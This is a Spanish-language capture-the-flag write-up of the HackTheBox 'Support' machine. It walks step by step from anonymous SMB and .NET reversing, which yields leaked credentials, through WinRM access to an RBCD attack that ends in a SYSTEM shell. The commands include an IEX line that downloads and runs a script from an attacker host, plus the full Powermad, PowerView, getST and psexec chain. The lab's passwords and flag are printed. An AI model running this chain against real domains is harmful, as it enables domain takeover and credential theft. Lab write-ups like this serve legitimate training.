the_open_door
café
ESEN

Support

HackTheBoxFácilWindows10.10.11.174

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#active-directory#rbcd#resource-based-constrained-delegation#bloodhound#genericall#acl-abuse#dnspy-reversing#ldap#kerbrute#machine-account#s4u
TL;DR. Support es un Active Directory de dificultad fácil que se apoya en un binario .NET y en una ACL mal puesta. Un recurso SMB legible sin credenciales (support-tools) esconde UserInfo.exe; al abrirlo con dnSpy aparece la contraseña de la cuenta de servicio ldap, con la que enumeramos LDAP y encontramos otra contraseña en el campo info del usuario support. Ese usuario entra por WinRM, y BloodHound revela que su grupo Shared Support Accounts tiene GenericAll sobre el propio Domain Controller. Con ese control montamos un RBCD: creamos una cuenta de máquina, la autorizamos a actuar en nombre de otros sobre el DC y pedimos un ticket impersonando a Administrator, que nos da una shell como SYSTEM. Sin un solo CVE: reversing, una credencial filtrada en LDAP y un permiso de control total mal delegado.

Reconocimiento

Escaneo inicial

El ping vuelve con ttl=127, un salto por debajo del 128 típico de Windows, así que apunta a Windows (indicio, no prueba).

ping -c 1 10.10.11.174

el ping a 10.10.11.174 responde con ttl=127, un paquete enviado y uno recibido sin pérdida

PING 10.10.11.174 (10.10.11.174) 56(84) bytes of data.
64 bytes from 10.10.11.174: icmp_seq=1 ttl=127 time=110 ms

--- 10.10.11.174 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 109.823/109.823/109.823/0.000 ms

El barrido UDP a los puertos más comunes encuentra el trío clásico de un controlador de dominio: DNS (53), Kerberos (88) y NTP (123).

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.174 | grep -v 'no-response'

el escaneo UDP descubre los puertos 53, 88 y 123 abiertos, todos con udp-response ttl 127

Discovered open port 53/udp on 10.10.11.174
Discovered open port 123/udp on 10.10.11.174
Discovered open port 88/udp on 10.10.11.174

PORT     STATE  SERVICE       REASON
53/udp   open   domain        udp-response ttl 127
88/udp   open   kerberos-sec  udp-response ttl 127
123/udp  open   ntp           udp-response ttl 127

Ese trío ya es un diagnóstico: DNS y Kerberos juntos solo los sirve un controlador de dominio, y el NTP está ahí porque Kerberos depende de que los relojes vayan sincronizados (más de cinco minutos de desfase y los tickets se rechazan).

El escaneo TCP completo confirma el cuadro:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.174 -oG scan

el escaneo TCP completo descubre 19 puertos abiertos, entre ellos 53, 88, 135, 139, 389, 445, 464, 636, 3268, 5985 y 9389, más un bloque de puertos altos RPC

Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE       REASON
53/tcp    open  domain        syn-ack ttl 127
88/tcp    open  kerberos-sec  syn-ack ttl 127
135/tcp   open  msrpc         syn-ack ttl 127
139/tcp   open  netbios-ssn   syn-ack ttl 127
389/tcp   open  ldap          syn-ack ttl 127
445/tcp   open  microsoft-ds  syn-ack ttl 127
464/tcp   open  kpasswd5      syn-ack ttl 127
593/tcp   open  http-rpc-epmap syn-ack ttl 127
636/tcp   open  ldapssl       syn-ack ttl 127
3268/tcp  open  globalcatLDAP syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman         syn-ack ttl 127
9389/tcp  open  adws          syn-ack ttl 127
49664/tcp open  unknown       syn-ack ttl 127
49667/tcp open  unknown       syn-ack ttl 127
49674/tcp open  unknown       syn-ack ttl 127
49679/tcp open  unknown       syn-ack ttl 127
49699/tcp open  unknown       syn-ack ttl 127
49737/tcp open  unknown       syn-ack ttl 127

Los 49xxx son los puertos dinámicos que el endpoint mapper (135) asigna a los servicios RPC, típicos de cualquier Windows y sin interés directo. extractPorts recoge la lista completa para el siguiente comando:

extractPorts scan

extractPorts devuelve IP Address 10.10.11.174 y la lista completa de 19 puertos abiertos, copiada al portapapeles

Extracting information ...
IP Address: 10.10.11.174
Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49674,49679,49699,49737

Ports copied to clipboard

El escaneo dirigido con detección de versión y scripts nos da, sobre todo, el nombre del dominio en el campo del servicio LDAP: support.htb.

nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sCV 10.10.11.174

Escaneo nmap con detección de versión: LDAP revela el dominio support.htb

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        (generic dns response: SERVFAIL)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-26 20:29:22Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Una consulta rápida a SMB con netexec confirma el dominio y el nombre del equipo (DC), un Windows Server 2022 con firma SMB obligatoria.

netexec smb 10.10.11.174

netexec confirma un Windows Server 2022 Build 20348, nombre DC y dominio support.htb con firma SMB obligatoria

SMB  10.10.11.174  445  DC  [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)

Añadimos support.htb al /etc/hosts para que resuelva el nombre:

sudo nano /etc/hosts
cat /etc/hosts

el /etc/hosts con la línea 10.10.11.174 support.htb añadida al final

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.174    support.htb

DNS - TCP/UDP 53

Preguntamos al propio DC por los registros de su zona. El NS da el nombre del servidor de nombres y el MX no devuelve correo, pero sí el SOA, que confirma quién manda en la zona:

dig NS support.htb @10.10.11.174
dig MX support.htb @10.10.11.174

dig NS devuelve dc.support.htb con su registro A, y dig MX no da servidor de correo pero sí el SOA de la zona

;; ANSWER SECTION:
support.htb.        3600  IN  NS   dc.support.htb.

;; ADDITIONAL SECTION:
dc.support.htb.     3600  IN  A    10.10.11.174

;; AUTHORITY SECTION:
support.htb.        3600  IN  SOA  dc.support.htb. hostmaster.support.htb. 105 900 600 86400 3600

Ese dc.support.htb hay que añadirlo también al /etc/hosts: varios ataques de Kerberos exigen el FQDN del controlador, no la IP, porque el ticket se pide para un nombre de servicio.

el /etc/hosts actualizado, con dc.support.htb y support.htb en la misma línea

10.10.11.174    dc.support.htb  support.htb

Con el nombre de la zona en la mano, el intento obligado es la transferencia de zona: si el servidor la permite a cualquiera, entrega de golpe todos los registros internos.

dig axfr support.htb @10.10.11.174

dig axfr contra el DC responde Transfer failed, sin entregar ningún registro

; <<>> DiG 9.20.11-4+b1-Debian <<>> axfr support.htb @10.10.11.174
;; global options: +cmd
; Transfer failed.

Transfer failed es la respuesta de un servidor bien configurado: solo replica hacia servidores autorizados. Se descarta la vía y se sigue por el resto de servicios, pero conviene probarla siempre porque cuando cuela es de las que más terreno regala.

Kerberos - TCP 88

Sin credenciales todavía, probamos a validar usuarios contra Kerberos con kerbrute (repo) y un diccionario de nombres de SecLists. Más allá de los típicos guest/administrator, aparece un nombre que no es genérico y que además coincide con el de la máquina: support.

kerbrute userenum -d support.htb --dc 10.10.11.174 xato-net-10-million-usernames.txt

kerbrute valida varios usuarios, entre ellos support

[+] VALID USERNAME:  support@support.htb
[+] VALID USERNAME:  guest@support.htb
[+] VALID USERNAME:  administrator@support.htb
[+] VALID USERNAME:  Administrator@support.htb

SMB - TCP 445

El primer intento de listar recursos compartidos con netexec y una sesión nula no llega a ninguna parte:

netexec smb 10.10.11.174 -u '' -p '' --shares

netexec autentica la sesión nula contra support.htb pero al pedir los recursos devuelve Error enumerating shares: STATUS_ACCESS_DENIED

SMB  10.10.11.174  445  DC  [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB  10.10.11.174  445  DC  [+] support.htb\:
SMB  10.10.11.174  445  DC  [-] Error enumerating shares: STATUS_ACCESS_DENIED

El [+] confirma que la sesión nula se acepta, pero la enumeración devuelve STATUS_ACCESS_DENIED. A veces una herramienta falla donde otra acierta, así que se repite con smbmap, que consulta el mismo servicio por otra vía:

smbmap -H 10.10.11.174 -u none

smbmap lista el recurso support-tools como READ ONLY

[+] IP: 10.10.11.174:445   Name: dc.support.htb        Status: Authenticated
        Disk                  Permissions     Comment
        ----                  -----------     -------
        ADMIN$                NO ACCESS       Remote Admin
        C$                    NO ACCESS       Default share
        IPC$                  READ ONLY       Remote IPC
        NETLOGON              NO ACCESS       Logon server share
        support-tools         READ ONLY       support staff tools
        SYSVOL                NO ACCESS       Logon server share

Dentro hay utilidades conocidas (PuTTY, Wireshark, Sysinternals) y un archivo que desentona: UserInfo.exe.zip. Lo descargamos para analizarlo, aunque analizarlo bien exige un rodeo: es un binario de Windows y el descompilador que lo abre, dnSpy, también lo es. Hace falta una máquina Windows.

smbclient //10.10.11.174/support-tools -N

smbclient descarga UserInfo.exe.zip del recurso support-tools

smb: \> dir
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 13:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 13:19:55 2022
  putty.exe                           A  1273576  Sat May 28 13:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 13:19:31 2022
  UserInfo.exe.zip                    A   277499  Wed Jul 20 19:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 13:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe   A 44398000  Sat May 28 13:19:43 2022
smb: \> get UserInfo.exe.zip

Acceso como ldap

Preparar el laboratorio: un Windows con acceso a la máquina

El binario se pasa a un Windows 10 propio sirviéndolo por HTTP desde el atacante:

python3 -m http.server 80

el http.server del atacante sirviendo el directorio de trabajo en el puerto 80

el navegador del Windows 10 abre el listado de 192.168.1.80 y descarga UserInfo.exe.zip, 271 KB

Directory listing for /
  UserInfo.exe.zip     271 KB

Aquí aparece el detalle que casi nadie documenta y que sin embargo decide si el análisis sirve para algo: UserInfo.exe no es un binario autónomo, es un cliente LDAP. Para que su ejecución llegue a algún sitio, la máquina que lo corre tiene que ver al controlador de dominio, es decir, tiene que estar dentro de la VPN. Así que la VPN se muda al Windows: se sirve el .ovpn igual que el binario.

locate .ovpn
cp /home/krmena/htb.ovpn .
python3 -m http.server 80

el locate encuentra htb.ovpn y thm.ovpn, se copia el de HTB al directorio de trabajo y se levanta el http.server

/home/krmena/htb.ovpn
/home/krmena/thm.ovpn

el navegador del Windows 10 descarga htb.ovpn del listado de 192.168.1.80

Antes de conectar hay que cerrar la VPN del atacante, porque el mismo perfil no admite dos sesiones simultáneas: la segunda expulsa a la primera.

ps -faux | grep openvpn
kill -9 2142

el ps localiza el proceso openvpn con PID 2142 y el kill -9 lo cierra

root  2142  0.1  0.1  16260  11148  pts/1  SN  11:48  0:14  \_ openvpn /home/krmena/htb.ovpn

El cliente OpenVPN Connect se baja de la web oficial y se instala:

la pagina openvpn.net/client con el boton Download .msi resaltado, el instalador openvpn-connect-3.8.0.4528_signed.msi en el panel de descargas y el asistente de instalacion abierto

https://openvpn.net/client/
  Download .msi   ->  openvpn-connect-3.8.0.4528_signed.msi
  Available for: Windows 10, and ...

Una vez instalado se le pasa el .ovpn descargado:

el cliente OpenVPN Connect pidiendo el perfil, con el botón Upload File y el diálogo de importación seleccionando htb.ovpn

Have a configuration file instead (.ovpn)?  ->  Upload File

Con la VPN levantada hay conectividad por IP, pero no por nombre: el Windows no conoce support.htb. Se edita su fichero hosts, que exige un cmd elevado:

el menú de inicio de Windows con Ejecutar como administrador seleccionado sobre el Símbolo del sistema

notepad C:\Windows\System32\drivers\etc\hosts

el bloc de notas con el fichero hosts de Windows y la línea 10.10.11.174 dc.support.htb support.htb añadida al final

10.10.11.174    dc.support.htb  support.htb

La comprobación cierra el montaje:

ping support.htb

el ping desde el Windows 10 resuelve support.htb a dc.support.htb 10.10.11.174 y recibe las cuatro respuestas, mientras OpenVPN Connect muestra Securely Connected

Haciendo ping a dc.support.htb [10.10.11.174] con 32 bytes de datos:
Respuesta desde 10.10.11.174: bytes=32 tiempo=110ms TTL=127
Paquetes: enviados = 4, recibidos = 4, perdidos = 0 (0% perdidos)

Reversing de UserInfo.exe con dnSpy

UserInfo.exe es un binario .NET, así que hace falta un descompilador que entienda CIL. dnSpy se baja de sus releases, eligiendo la variante de 64 bits:

la página de releases v6.1.8 de dnSpy/dnSpy en GitHub con dnSpy-net-win64.zip resaltado y el panel de descargas mostrándolo junto al instalador de OpenVPN y el htb.ovpn

dnSpy / dnSpy   Releases / v6.1.8
Assets (5)
  dnSpy-net-win32.zip        75.8 MB
  dnSpy-net-win64.zip        81.8 MB
  dnSpy-netframework.zip     22.6 MB

el diálogo de extracción de Windows descomprimiendo dnSpy-net-win64 en la carpeta de Descargas

el ejecutable dnSpy dentro de la carpeta extraída y, debajo, la ventana de dnSpy 6.1.8 ya abierta con su explorador de ensamblados

El binario también viene comprimido:

el diálogo de extracción descomprimiendo UserInfo.exe.zip, de 270 KB, en la carpeta de Descargas

Y se abre desde Archivo → Abrir. El ZIP no traía solo el ejecutable, sino todo su árbol de dependencias, que ya adelanta de qué va el programa:

el diálogo Abrir de dnSpy sobre la carpeta UserInfo.exe, con CommandLineParser.dll, varias Microsoft.Extensions y el ejecutable UserInfo seleccionado

CommandLineParser.dll
Microsoft.Bcl.AsyncInterfaces.dll
Microsoft.Extensions.DependencyInjection.dll
Microsoft.Extensions.Logging.Abstractions.dll
System.Buffers.dll
System.Memory.dll
UserInfo            Aplicación

Antes de leer el código conviene ver qué pide el programa, porque el depurador necesitará esos mismos argumentos:

.\UserInfo.exe find -first * -last *

UserInfo.exe enumera usuarios del dominio vía LDAP

[-] At least one of -first or -last is required.

.\UserInfo.exe find -first * -last *
raven.clifton
anderson.damian
monroe.david
cromwell.gerard
...

La pregunta interesante es con qué credenciales hace esa consulta. Recorriendo el árbol de clases en dnSpy, la respuesta está en UserInfo.Services.LdapQuery:

dnSpy con la clase LdapQuery abierta: el constructor obtiene la contraseña de Protected.getPassword y crea un DirectoryEntry contra LDAP://support.htb con el usuario support\ldap

namespace UserInfo.Services
{
    internal class LdapQuery
    {
        public LdapQuery()
        {
            string password = Protected.getPassword();
            this.entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
            this.entry.AuthenticationType = AuthenticationTypes.Secure;
            this.ds = new DirectorySearcher(this.entry);
        }

El usuario es support\ldap y la contraseña sale de Protected.getPassword(). Esa clase también está en el árbol:

la clase Protected con getPassword, que hace un FromBase64String de enc_password y aplica un XOR con la clave y con 223; abajo, enc_password y la clave armando resaltadas

internal class Protected
{
    public static string getPassword()
    {
        byte[] array = Convert.FromBase64String(Protected.enc_password);
        byte[] array2 = array;
        for (int i = 0; i < array.Length; i++)
        {
            array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
        }
        return Encoding.Default.GetString(array2);
    }

    private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWNyuPsyO76/Y+U193E";
    private static byte[] key = Encoding.ASCII.GetBytes("armando");
}

Ahí está todo: la contraseña viaja en base64 y cifrada con un XOR doble, primero contra la clave armando repetida y luego contra la constante 223. Se podría reimplementar en tres líneas de Python, pero hay un atajo más limpio y que no se equivoca: dejar que el propio programa la descifre y mirarla en memoria. Para eso se pone un breakpoint en la línea donde se asigna:

el menú contextual de dnSpy sobre la línea string password = Protected.getPassword(), con la opción Habilitar puntos de interrupción (F9) resaltada

Con el punto de interrupción puesto, se lanza el depurador:

el mismo menú contextual con la opción Depurar UserInfo.exe (F5) resaltada

dnSpy pide los argumentos con los que arrancar el programa, y aquí es donde sirve haberlo ejecutado antes en el cmd: son los mismos find -first * -last *.

el diálogo Depurar el programa de dnSpy con el motor .NET Framework, el ejecutable UserInfo.exe y el campo Argumentos relleno con find -first * -last *

Motor del Depurador : .NET Framework
Ejecutable          : C:\Users\usuario\Downloads\UserInfo.exe\UserInfo.exe
Argumentos          : find -first * -last *

La ejecución se detiene en el breakpoint, pero la variable todavía no vale nada, porque el depurador para antes de ejecutar esa línea:

el panel Locales de dnSpy con la variable password marcada en null, con la ejecución detenida en la línea del breakpoint

Nombre     Valor   Tipo
password   null    string

Basta avanzar un paso (F10) para que la asignación se complete y el valor descifrado aparezca:

dnSpy: breakpoint en LdapQuery revela la contraseña de la cuenta ldap en memoria

Tenemos así las credenciales de la cuenta de servicio: ldap : nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz.

Shell como support

LDAP: la contraseña en el campo info

Con la cuenta ldap ya podemos autenticarnos contra LDAP. Filtrando por sAMAccountName recuperamos todos los objetos del dominio:

ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' \
  -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=SUPPORT,DC=HTB" | grep -iE 'samaccountname'

la salida lista decenas de sAMAccountName: los grupos integrados de Windows, DnsAdmins, Shared Support Accounts, la cuenta ldap y, resaltado, support

sAMAccountName: Administrator
sAMAccountName: Guest
sAMAccountName: Remote Management Users
sAMAccountName: DC$
sAMAccountName: krbtgt
sAMAccountName: Domain Admins
sAMAccountName: DnsAdmins
sAMAccountName: Shared Support Accounts
sAMAccountName: ldap
sAMAccountName: support
sAMAccountName: smith.rosario
sAMAccountName: hernandez.stanley

La mayoría son grupos integrados de Windows, pero dos nombres no lo son: la propia cuenta ldap que acabamos de usar y support, que además ya había salido en la enumeración de Kerberos. Al enumerar ese objeto en detalle aparece algo que un administrador no debería dejar ahí: una contraseña en el atributo info.

ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' \
  -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" \
  '(sAMAccountName=support)'

El campo info del usuario support contiene una contraseña, y memberOf muestra Shared Support Accounts

info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
sAMAccountName: support

Dos detalles del propio volcado ya anticipan el resto de la caja: support pertenece a Remote Management Users (puede entrar por WinRM) y a un grupo nada estándar, Shared Support Accounts.

Validar y entrar por WinRM

Antes de lanzar la shell, validamos la credencial en los servicios con netexec. Funciona en SMB y, lo importante, devuelve (Pwn3d!) en WinRM, lo que confirma acceso interactivo.

netexec smb   10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'
netexec winrm 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'

netexec valida las credenciales de support en SMB y WinRM (Pwn3d!)

SMB    10.10.11.174  445   DC  [+] support.htb\support:Ironside47pleasure40Watchful
WINRM  10.10.11.174  5985  DC  [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)
evil-winrm -i 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'

Shell de evil-winrm como support\support

Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\support\Documents> whoami
support\support

La conexión abre una PowerShell interactiva y whoami confirma que estamos como support\support.

user.txt

type ..\Desktop\user.txt

user.txt leída como support

2b3d89ca1b2e3989fa1ca335a2e8ceb5

Antes de pivotar, miramos los privilegios y grupos del token. No hay privilegios peligrosos clásicos, pero sí dos pistas: SeMachineAccountPrivilege está habilitado (podremos crear cuentas de máquina, clave para el RBCD) y vuelve a aparecer el grupo Shared Support Accounts.

whoami /all

whoami /all: grupo Shared Support Accounts y SeMachineAccountPrivilege habilitado

USER INFORMATION
User Name        SID
support\support  S-1-5-21-1677581083-3380853377-188903654-1105

GROUP INFORMATION
Group Name                             Type             SID
BUILTIN\Remote Management Users        Alias            S-1-5-32-580
SUPPORT\Shared Support Accounts        Group            S-1-5-21-1677581083-3380853377-188903654-1103
...
PRIVILEGES INFORMATION
Privilege Name                 Description                    State
SeMachineAccountPrivilege      Add workstations to domain     Enabled
SeChangeNotifyPrivilege        Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege  Increase a process working set Enabled

Se confirman las dos pistas: support pertenece a SUPPORT\Shared Support Accounts y tiene SeMachineAccountPrivilege habilitado (puede unir cuentas de máquina al dominio, la pieza del RBCD).

BloodHound

Recogemos los datos del dominio con SharpHound (repo). El colector se carga en memoria directamente desde el atacante, sin tocar el disco de la víctima:

wget https://raw.githubusercontent.com/puckiestyle/powershell/refs/heads/master/SharpHound.ps1
python3 -m http.server 80
IEX(New-object Net.WebClient).downloadString('http://10.10.16.6/SharpHound.ps1')

el IEX descarga SharpHound.ps1 en la sesión de evil-winrm y el http.server del atacante registra el GET /SharpHound.ps1 con un 200

10.10.11.174 - - [27/Oct/2025 16:17:07] "GET /SharpHound.ps1 HTTP/1.1" 200 -
Invoke-BloodHound -CollectionMethod All
dir
download 20251027082120_BloodHound.zip

el Invoke-BloodHound genera el zip de 9953 bytes en el escritorio y el download de evil-winrm lo trae al atacante

    Directory: C:\Users\support\Desktop
-a---  10/27/2025  8:21 AM   9953  20251027082120_BloodHound.zip
-ar--  10/26/2025  5:30 AM     34  user.txt

Info: Downloading C:\Users\support\Desktop\20251027082120_BloodHound.zip
Info: Download successful!

Del lado del atacante, BloodHound arrastra un requisito que suele dar guerra: la versión de Java. La interfaz clásica no funciona con la 21 que trae Kali por defecto, así que se cambia a la 11:

update-alternatives --config java

update-alternatives lista java-21-openjdk y java-11-openjdk, y se selecciona la opción 1, la 11, en modo manual

There are 2 choices for the alternative java (providing /usr/bin/java).
  Selection  Path                                          Priority  Status
* 0          /usr/lib/jvm/java-21-openjdk-amd64/bin/java    2111      auto mode
  1          /usr/lib/jvm/java-11-openjdk-amd64/bin/java    1111      manual mode

update-alternatives: using /usr/lib/jvm/java-11-openjdk-amd64/bin/java to provide /usr/bin/java (java) in manual mode

Con eso arrancan las dos piezas: la base de datos neo4j y la interfaz.

./BloodHound --disable-gpu --no-sandbox
./neo4j console

a la izquierda BloodHound arrancando y abajo neo4j levantando el servidor con su ServerId

Starting Neo4j.
2025-10-27 15:31:25.078+0000 INFO  Starting...
2025-10-27 15:31:27.833+0000 INFO  This instance is ServerId{77239015}

la pantalla de login de BloodHound contra bolt://localhost:7687 con el usuario neo4j y la contraseña rellenos

Ya dentro, el .zip recogido se carga con la opcion Upload Data de la barra lateral:

la interfaz de BloodHound con el boton Upload Data resaltado a la derecha y el selector de ficheros abierto sobre el directorio de exploits, con el 20251027082120_BloodHound.zip de 10 kB seleccionado

Upload Data
  20251027082120_BloodHound.zip   10.0 kB   Archive
  SharpHound.ps1                  973.3 kB  Program

La herramienta lo descomprime e interpreta fichero a fichero:

el diálogo de subida de BloodHound descomprimiendo el zip y cargando groups.json, users.json y gpos.json

UNZIPPING FILE 20251027082120_BLOODHOUND.ZIP
  20251027082120_groups.json   Upload Complete   100%
  20251027082120_users.json    Uploading Data
  20251027082120_gpos.json     Waiting for upload

Antes de analizar nada conviene marcar como owned lo que ya se controla, porque BloodHound usa esa marca para calcular rutas desde lo que tenemos hasta lo que queremos:

el menú contextual del nodo SUPPORT@SUPPORT.HTB en BloodHound con la opción Mark User as Owned resaltada

Revisamos sus pertenencias: además de Remote Management Users y Domain Users, está en Shared Support Accounts.

BloodHound: support pertenece a Shared Support Accounts, Remote Management Users y Domain Users

Shared Support Accounts: GenericAll sobre el DC

Aquí está el porqué del pivote, y lo vemos antes de tocar nada: el grupo Shared Support Accounts tiene GenericAll sobre el objeto DC.SUPPORT.HTB, el propio controlador de dominio.

BloodHound: Shared Support Accounts tiene GenericAll sobre DC.SUPPORT.HTB

GenericAll (control total) sobre un objeto es un caso directo de abuso de ACLs. La propia herramienta lo explica en su pestaña de ayuda:

la ventana Help: GenericAll de BloodHound explicando que los miembros de SHARED SUPPORT ACCOUNTS@SUPPORT.HTB tienen GenericAll sobre el equipo DC.SUPPORT.HTB, también conocido como control total

The members of the group SHARED SUPPORT ACCOUNTS@SUPPORT.HTB have GenericAll privileges to the
computer DC.SUPPORT.HTB.

This is also known as full control. This privilege allows the trustee to manipulate the target
object however they wish.

Y la pestaña de abuso señala la vía cuando el objeto es un equipo: una delegación restringida basada en recursos (RBCD).

BloodHound: Help de GenericAll, abuso por Resource-Based Constrained Delegation

Shell como SYSTEM

RBCD: de GenericAll a impersonar Administrator

El plan del RBCD: como controlamos el objeto del DC, escribimos en su atributo msDS-AllowedToActOnBehalfOfOtherIdentity el SID de una cuenta de máquina nuestra. A partir de ahí, el KDC nos dejará pedir tickets de servicio en nombre de cualquier usuario contra ese DC.

El procedimiento concreto no se toma de BloodHound sino de HackTricks, que lo detalla comando a comando:

la búsqueda de "resource-based constrained delegation" en HackTricks devuelve la entrada Active Directory Methodology, Resourced-based Constrain Delegation

Active Directory Methodology » Resourced-based Constrain Delegation [Book]
Having WRITE privilege on an Active Directory object of a remote computer enables the attainment of
code execution with elevated privileges: Resource-based Constrained Delegation

el artículo de HackTricks con la sección Attack: Creating a Computer Object usando powermad, y Configuring Resource-based Constrained Delegation con las variantes de activedirectory y de powerview

# Creating a Computer Object (using powermad)
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' ...)
Get-DomainComputer SERVICEA

# Configuring RBCD (using powerview)
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;C..."
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfof...'}

Hacen falta dos scripts. Powermad aporta el New-MachineAccount que crea la cuenta de máquina:

wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/refs/heads/master/Powermad.ps1
upload Powermad.ps1
Import-Module .\Powermad.ps1

el wget descarga Powermad.ps1 de 132 KB en el atacante y el upload de evil-winrm lo copia al escritorio de support, 180768 bytes

Info: Uploading /home/krmena/machines/support/exploits/Powermad.ps1 to C:\Users\support\Desktop\Powermad.ps1
Data: 180768 bytes of 180768 bytes copied
Info: Upload successful!

el Import-Module de Powermad.ps1 se completa sin devolver nada, que es la señal de que cargó bien

PowerView (repo) aporta el resto: es un conjunto de cmdlets para consultar y modificar Active Directory sin las herramientas administrativas oficiales.

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1
upload PowerView.ps1
Import-Module .\PowerView.ps1

el wget descarga PowerView.ps1 de 752 KB y el upload de evil-winrm lo copia al escritorio de support, 1027036 bytes

--2025-10-27 17:44:49--  https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1
Connecting to raw.githubusercontent.com|2606:50c0:8001::154|:443 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 770279 (752K) [text/plain]
Saving to: 'PowerView.ps1'

2025-10-27 17:44:50 (7.69 MB/s) - 'PowerView.ps1' saved [770279/770279]

*Evil-WinRM* PS C:\Users\support\Desktop> upload PowerView.ps1
Info: Uploading /home/krmena/machines/support/exploits/PowerView.ps1 to C:\Users\support\Desktop\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!

el Import-Module de PowerView.ps1 también termina en silencio

Los dos Import-Module no devuelven nada, que es exactamente lo que se espera: en PowerShell, cargar un módulo sin errores no imprime salida, y cualquier línea roja habría significado que el script no cargó.

Con ambos cargados se ejecuta la cadena: creamos la cuenta de máquina SERVICEA$, obtenemos su SID, construimos el descriptor de seguridad y lo escribimos en el DC. La consulta final del atributo lo confirma ({1, 0, 4, 128 ... }), es decir, la delegación quedó configurada.

New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force)
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Get-DomainComputer dc -Properties 'msds-allowedtoactonbehalfofotheridentity'

Powermad y PowerView configuran la delegación RBCD sobre el DC

[+] Machine account SERVICEA added

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128 ... }

getST + psexec

Con la delegación puesta, pedimos un ticket de servicio para cifs/dc.support.htb impersonando a Administrator mediante la cuenta SERVICEA$ (S4U2Self + S4U2Proxy). Guardamos el ticket en la caché de credenciales y lo usamos con psexec.py -k, que nos abre una shell como SYSTEM.

getST.py -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456
export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
psexec.py -k dc.support.htb

getST impersona a Administrator y psexec abre una shell como nt authority\system

[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
...
[*] Found writable share ADMIN$
[*] Opening SVCManager on dc.support.htb.....
Microsoft Windows [Version 10.0.20348.859]

C:\Windows\system32> whoami
